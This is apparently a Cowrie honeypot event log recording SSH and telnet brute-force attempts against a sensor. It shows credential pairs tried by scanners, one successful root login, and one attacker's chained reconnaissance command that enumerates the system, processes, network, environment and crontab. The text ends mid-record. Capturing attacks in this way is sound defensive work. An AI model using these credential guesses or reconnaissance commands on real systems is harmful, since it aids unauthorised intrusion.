{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":40580,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9c2850a605e","protocol":"ssh","message":"New connection: 2.57.122.96:40580 (10.17.0.5:22) [session: e9c2850a605e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:00.204097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:00.272079Z","src_ip":"2.57.122.96","session":"e9c2850a605e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:00.345017Z","src_ip":"2.57.122.96","session":"e9c2850a605e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staker","message":"login attempt [ubuntu/staker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:00.762617Z","src_ip":"2.57.122.96","session":"e9c2850a605e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:01.869066Z","src_ip":"2.57.122.96","session":"e9c2850a605e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53450,"dst_ip":"159.203.135.109","dst_port":22,"session":"e879a3810c2b","protocol":"ssh","message":"New connection: 2.57.122.96:53450 (159.203.135.109:22) [session: e879a3810c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:16.173647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:16.178823Z","src_ip":"2.57.122.96","session":"e879a3810c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:16.297248Z","src_ip":"2.57.122.96","session":"e879a3810c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staker","message":"login attempt [ubuntu/staker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:16.621243Z","src_ip":"2.57.122.96","session":"e879a3810c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:52:17.717966Z","src_ip":"2.57.122.96","session":"e879a3810c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":52550,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5afee2300f7","protocol":"ssh","message":"New connection: 2.57.122.96:52550 (10.17.0.5:22) [session: f5afee2300f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:54:58.929831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:54:58.934090Z","src_ip":"2.57.122.96","session":"f5afee2300f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:54:59.069355Z","src_ip":"2.57.122.96","session":"f5afee2300f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"shredstream","message":"login attempt [solana/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:54:59.359392Z","src_ip":"2.57.122.96","session":"f5afee2300f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":46208,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0a500b34f5b","protocol":"ssh","message":"New connection: 103.82.27.19:46208 (10.17.0.5:22) [session: b0a500b34f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:00.357329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:00.362807Z","src_ip":"103.82.27.19","session":"b0a500b34f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:00.498241Z","src_ip":"2.57.122.96","session":"f5afee2300f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:00.639057Z","src_ip":"103.82.27.19","session":"b0a500b34f5b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin1234","message":"login attempt [root/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:01.457767Z","src_ip":"103.82.27.19","session":"b0a500b34f5b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:02.079634Z","src_ip":"103.82.27.19","session":"b0a500b34f5b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:02.100229Z","src_ip":"103.82.27.19","session":"b0a500b34f5b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:02.445885Z","src_ip":"103.82.27.19","session":"b0a500b34f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:02.451803Z","src_ip":"103.82.27.19","session":"b0a500b34f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":53286,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed2c2d2ff0ea","protocol":"ssh","message":"New connection: 2.57.122.96:53286 (159.203.135.109:22) [session: ed2c2d2ff0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:15.242539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:15.245882Z","src_ip":"2.57.122.96","session":"ed2c2d2ff0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:15.346017Z","src_ip":"2.57.122.96","session":"ed2c2d2ff0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"shredstream","message":"login attempt [solana/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:15.661843Z","src_ip":"2.57.122.96","session":"ed2c2d2ff0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:55:16.765409Z","src_ip":"2.57.122.96","session":"ed2c2d2ff0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.214","src_port":64876,"dst_ip":"159.203.135.109","dst_port":23,"session":"d926e1660577","protocol":"telnet","message":"New connection: 198.235.24.214:64876 (159.203.135.109:23) [session: d926e1660577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:56:07.146384Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.228.24.62","src_port":54310,"dst_ip":"10.17.0.5","dst_port":22,"session":"1423e7219979","protocol":"ssh","message":"New connection: 111.228.24.62:54310 (10.17.0.5:22) [session: 1423e7219979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:56:16.345134Z"}
{"eventid":"cowrie.session.closed","duration":9.923672199249268,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:56:17.069972Z","src_ip":"198.235.24.214","session":"d926e1660577","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:56:17.989476Z","src_ip":"111.228.24.62","session":"1423e7219979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60772,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d99cb3d5a8","protocol":"ssh","message":"New connection: 14.225.2.125:60772 (10.17.0.5:22) [session: 69d99cb3d5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:48.847000Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:49.104591Z","src_ip":"14.225.2.125","session":"69d99cb3d5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":60782,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1582ec55be9","protocol":"ssh","message":"New connection: 14.225.2.125:60782 (10.17.0.5:22) [session: a1582ec55be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:49.371317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:49.375437Z","src_ip":"14.225.2.125","session":"a1582ec55be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:49.645721Z","src_ip":"14.225.2.125","session":"a1582ec55be9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sunshine","password":"123456","message":"login attempt [sunshine/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:50.455679Z","src_ip":"14.225.2.125","session":"a1582ec55be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:51.729444Z","src_ip":"14.225.2.125","session":"a1582ec55be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":34776,"dst_ip":"10.17.0.5","dst_port":22,"session":"88cf46772c77","protocol":"ssh","message":"New connection: 2.57.122.96:34776 (10.17.0.5:22) [session: 88cf46772c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:54.991416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:57:55.001076Z","src_ip":"2.57.122.96","session":"88cf46772c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-